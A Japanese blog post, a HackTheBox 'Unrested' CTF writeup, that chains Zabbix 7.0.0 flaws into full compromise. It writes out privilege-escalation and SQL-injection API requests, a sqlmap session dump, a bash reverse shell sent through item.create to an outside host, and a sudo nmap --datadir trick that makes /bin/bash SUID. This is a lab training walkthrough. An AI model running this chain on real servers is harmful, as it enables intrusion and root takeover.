1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

一人アドカレAdvent Calendar 2024

Day 7

【HackTheBox】Unrested:Writeup

Posted at

概要

HackTheBox「Unrested」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sVC -T4 -A -p- 10.10.11.50 -oN nmap_result
PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http Apache httpd 2.4.52
10050 tcpwrapped
10051 ssl/zabbix-trapper?

80番ポートにアクセスするとZabbixのログインフォームが表示されました。

image.png

事前に提示されているUsername: matthew,Password: 96qzn0h2e1k3を使用してログインできます。

image.png

ダッシュボードからversion 7.0.0だと分かりました。

image.png

Zabbixの脆弱性で検索するとCVE-2024-36467が見つかります。
Zabbix APIを利用したアカウント権限昇格の脆弱性のようです。

また、CVE-2024-42327も見つかりました。
Zabbix APIのuser.getエンドポイントでSQLインジェクションが出来ます。

APIの公式ドキュメントも参考に進めます。

CVE-2024-36467のエクスプロイト

まず、APIキーを取得します。

$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":
{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'

{"jsonrpc":"2.0","result":"287abc63e165b628adc310470a43421a","id":1}

user.getでユーザー一覧を取得します。

authキーの値に先ほど取得したAPIキーを設定します。

$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": "extend"},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1143  100  1026  100   117   1998    227 --:--:-- --:--:-- --:--:--  2223
{
  "jsonrpc": "2.0",
  "result": [
    {
      "userid": "1",
      "username": "Admin",
      "name": "Zabbix",
      "surname": "Administrator",
      "url": "",
      "autologin": "1",
      "autologout": "0",
      "lang": "default",
      "refresh": "30s",
      "theme": "default",
      "attempt_failed": "0",
      "attempt_ip": "10.10.14.21",
      "attempt_clock": "1733477708",
      "rows_per_page": "50",
      "timezone": "default",
      "roleid": "3",
      "userdirectoryid": "0",
      "ts_provisioned": "0"
    },
    {
      "userid": "2",
      "username": "guest",
      "name": "",
      "surname": "",
      "url": "",
      "autologin": "0",
      "autologout": "15m",
      "lang": "default",
      "refresh": "30s",
      "theme": "default",
      "attempt_failed": "0",
      "attempt_ip": "",
      "attempt_clock": "0",
      "rows_per_page": "50",
      "timezone": "default",
      "roleid": "4",
      "userdirectoryid": "0",
      "ts_provisioned": "0"
    },
    {
      "userid": "3",
      "username": "matthew",
      "name": "Matthew",
      "surname": "Smith",
      "url": "",
      "autologin": "1",
      "autologout": "0",
      "lang": "default",
      "refresh": "30s",
      "theme": "default",
      "attempt_failed": "0",
      "attempt_ip": "10.10.14.202",
      "attempt_clock": "1733519157",
      "rows_per_page": "50",
      "timezone": "default",
      "roleid": "1",
      "userdirectoryid": "0",
      "ts_provisioned": "0"
    }
  ],
  "id": 1
}

下記情報を取得できました。
管理者アカウントにはロールID3が割り当てられています。

ユーザーID ユーザー名 ロールID
1 Admin 3
2 guest 4
3 matthew 1

usergroup.getを使用してユーザーグループを確認します。

$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"usergroup.get","params": {"output": "extend","status": 0},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   461  100   327  100   134    639    262 --:--:-- --:--:-- --:--:--   900
{
  "jsonrpc": "2.0",
  "result": [
    {
      "usrgrpid": "13",
      "name": "Internal",
      "gui_access": "1",
      "users_status": "0",
      "debug_mode": "0",
      "userdirectoryid": "0",
      "mfa_status": "0",
      "mfaid": "0"
    },
    {
      "usrgrpid": "7",
      "name": "Zabbix administrators",
      "gui_access": "0",
      "users_status": "0",
      "debug_mode": "0",
      "userdirectoryid": "0",
      "mfa_status": "0",
      "mfaid": "0"
    }
  ],
  "id": 1
}

AdminのグループIDが7,内部用のグループIDが13に設定されていると分かりました。

usergroup.updateを使用してmatthewを管理者グループと内部用グループに追加します。

$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.update","params": {"userid":"3","usrgrps":[{"usrgrpid":"13"},
{"usrgrpid":"7"}]},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   213  100    51  100   162     96    305 --:--:-- --:--:-- --:--:--   401
{
  "jsonrpc": "2.0",
  "result": {
    "userids": [
      "3"
    ]
  },
  "id": 1
}

再度user.getリクエストを送ると、matthewアカウントが両方のグループに所属できていると分かります。

$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": ["userid","3"],"selectUsrgrps":["usrgrpid","name"],"filter": {"alias":"matthew"}},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   509  100   320  100   189    623    368 --:--:-- --:--:-- --:--:--   992
{
  "jsonrpc": "2.0",
  "result": [
    {
      "userid": "1",
      "usrgrps": [
        {
          "usrgrpid": "7",
          "name": "Zabbix administrators"
        },
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    },
    {
      "userid": "2",
      "usrgrps": [
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    },
    {
      "userid": "3",
      "usrgrps": [
        {
          "usrgrpid": "7",
          "name": "Zabbix administrators"
        },
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    }
  ],
  "id": 1
}

CVE-2024-42327のエクスプロイト

selectRoleオプションが指定されている場合のサニタイズが不十分なので、そこでSQLインジェクションを悪用します。
試しにSLEEP関数を実行してみるとSQLインジェクションが成功したと分かります。
--proxyオプションでBurp Proxyを挟んでいます。

$ time curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": ["userid","username"],"selectRole":["roleid","name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],"editable":1},"auth":"287abc63e165b628adc310470a43421a","id":1}' --proxy 127.0.0.1:8080 | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   358  100   145  100   213     26     38  0:00:05  0:00:05 --:--:--    41
{
  "jsonrpc": "2.0",
  "result": [
    {
      "userid": "3",
      "username": "matthew",
      "role": {
        "roleid": "1",
        "r.name AND (SELECT 1 FROM (SELECT SLEEP(5))A)": "0"
      }
    }
  ],
  "id": 1
}

real    5.52s
user    0.01s
sys     0.00s
cpu     0%

real    5.52s
user    0.00s
sys     0.00s
cpu     0%

Burpから今のリクエスト内容を取得し、selectRoleの値を編集してテキストファイルに保存します。

sqli_request.txt
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
User-Agent: curl/8.10.1
Accept: */*
Content-Type: application/json-rpc
Content-Length: 213
Connection: keep-alive

{
        "jsonrpc":"2.0",
        "method":"user.get",
        "params": {
                "output": ["userid","username"],
                "selectRole": [
                        "roleid",
                        "name *"
                ],
                "editable":1
        },
        "auth":"c8b1603a7d347f4ff40db5f4a6238864",
        "id":1
}

SQLMapでDBの列挙ができました。

$ sqlmap -r sqli_request.txt --dbs

available databases [2]:
[*] information_schema
[*] zabbix

zabbixDBのテーブル情報を列挙できました。

$ sqlmap -r sqli_request.txt --batch --dbms=mysql -D zabbix --tables

Database: zabbix
[16 tables]
+-------------------------+
| A                       |
| event_tag               |
| grai                    |
| hgset                   |
| httpstep                |
| item_discovery          |
| item_rtdata             |
| lld_override_opdiscover |
| problem                 |
| proxy_group             |
| proxy_history           |
| proxy_rtdata            |
| script_param            |
| sessions                |
| token                   |
| users                   |
+-------------------------+

sessionsテーブルからAdminのセッションデータを取得できました。

$ sqlmap -r sqli_request.txt --batch -D zabbix -T sessions --dump

Database: zabbix
Table: sessions
[2 entries]
+---------+----------------------------------+----------------------------------+----------+------------+
| userid  | sessionid                        | secret                           | status   | lastaccess |
+---------+----------------------------------+----------------------------------+----------+------------+
| 1       | cfd65dc060069d722654831aa2b9125d | 0e0c3531bf76bdd2450f6ef7f84e25e3 | 0        | 1733555177 |
| <blank> | <blank>                          | <blank>                          | 0        | 15         |
+---------+----------------------------------+----------------------------------+----------+------------+

Zabbixではsystem.runが有効な場合、item.createを使用してRCEを実行できます。

system.runを実行するにはhostidinterfaceidが必要なのでhost.getエンドポイントから取得します。
authキーの値には先ほどSQLインジェクションから取得したAdminのsessionidを使用します。

$ curl --request POST \                                                      
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"host.get","params":
{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"auth":"cfd65dc060069d722654831aa2b9125d","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   272  100   112  100   160    220    315 --:--:-- --:--:-- --:--:--   535
{
  "jsonrpc": "2.0",
  "result": [
    {
      "hostid": "10084",
      "host": "Zabbix server",
      "interfaces": [
        {
          "interfaceid": "1"
        }
      ]
    }
  ],
  "id": 1
}

item.createsystem.runを使用してリバースシェルを張ります。

$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"rce","key_":"system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.176/1234 0>&1'\'']","delay":1,"hostid":"10084","type":0,"value_type":1,"interfaceid":"1"},"auth":"cfd65dc060069d722654831aa2b9125d","id":1}'

{"jsonrpc":"2.0","result":{"itemids":["47183"]},"id":1}

Netcatでリッスンしているとzabbixアカウントのシェルを取得できました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.176] from (UNKNOWN) [10.10.11.50] 53480
bash: cannot set terminal process group (1928): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ whoami
whoami
zabbix

/home/matthew/user.txtからユーザーフラグを入手できました。

$ cat user.txt
cat user.txt
8427706fbe431aae57012a4a9f76b981

Root Flag

sudo -lを確認するとnmapが許可されています。

$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *

GTFOBinsでnmapのsudoを利用したテクニックが見つかります。

GTFOBinsを参考に進めますが、エラーメッセージが表示されます。

$ TF=$(mktemp)
$ echo 'os.execute("/bin/sh")' > $TF
$ sudo nmap --script=$TF
Script mode is disabled for security reasons.

nmapの処理を確認すると権限昇格に使用する--scriptなどのオプションが実行できないようになっており、対策がされています。

$ which nmap
/usr/bin/nmap

$ cat /usr/bin/nmap
#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons."
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done

nmapのスクリプトはLuaというスクリプト言語で書かれています。

今回はLuaのos.executeメソッドを利用します。
この関数を利用することでシステムコマンドを実行できます。

また、nmapの--datadirオプションを使用することで、スクリプトファイルのディレクトリを任意の場所に指定できます。

image.png

nmapの-sCオプションを使用した場合はnse_main.luaがロードされます。

$ ls -la /usr/share/nmap
ls -la /usr/share/nmap
total 9192
drwxr-xr-x   4 root root    4096 Dec  1 13:40 .
drwxr-xr-x 126 root root    4096 Dec  3 11:51 ..
-rw-r--r--   1 root root   10556 Jan 12  2023 nmap.dtd
-rw-r--r--   1 root root  717314 Jan 12  2023 nmap-mac-prefixes
-rw-r--r--   1 root root 5002931 Jan 12  2023 nmap-os-db
-rw-r--r--   1 root root   14579 Jan 12  2023 nmap-payloads
-rw-r--r--   1 root root    6703 Jan 12  2023 nmap-protocols
-rw-r--r--   1 root root   49647 Jan 12  2023 nmap-rpc
-rw-r--r--   1 root root 2461461 Jan 12  2023 nmap-service-probes
-rw-r--r--   1 root root 1000134 Jan 12  2023 nmap-services
-rw-r--r--   1 root root   31936 Jan 12  2023 nmap.xsl
drwxr-xr-x   3 root root    4096 Dec  1 13:40 nselib
-rw-r--r--   1 root root   48404 Jan 12  2023 nse_main.lua
drwxr-xr-x   2 root root   36864 Dec  1 13:40 scripts

os.execute()を使用し、/bin/bashにSUIDを設定するスクリプトを/tmp/nse_main.luaとして新たに作成します。

$ echo 'os.execute("chmod u+s /bin/bash")' > /tmp/nse_main.lua

Nmapをlocalhostに実行します。
--datadir-sCオプションを併用することで、新たに作成した/tmp/nse_main.luaが指定されます。

$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
<ew$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-07 08:40 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed.
bash: [1930: 2 (255)] tcsetattr: Inappropriate ioctl for device

/bin/bashを確認するとSUIDが設定されていると分かります。

zabbix@unrested:/home/matthew$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

Bashの-pオプションでrootに昇格出来ました。

$ /bin/bash -p 
/bin/bash -p
whoami
root

/root/root.txtからルートフラグを入手できました。

cat /root/root.txt
53909d58b958b7ae2d57b5f2aecb0720
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?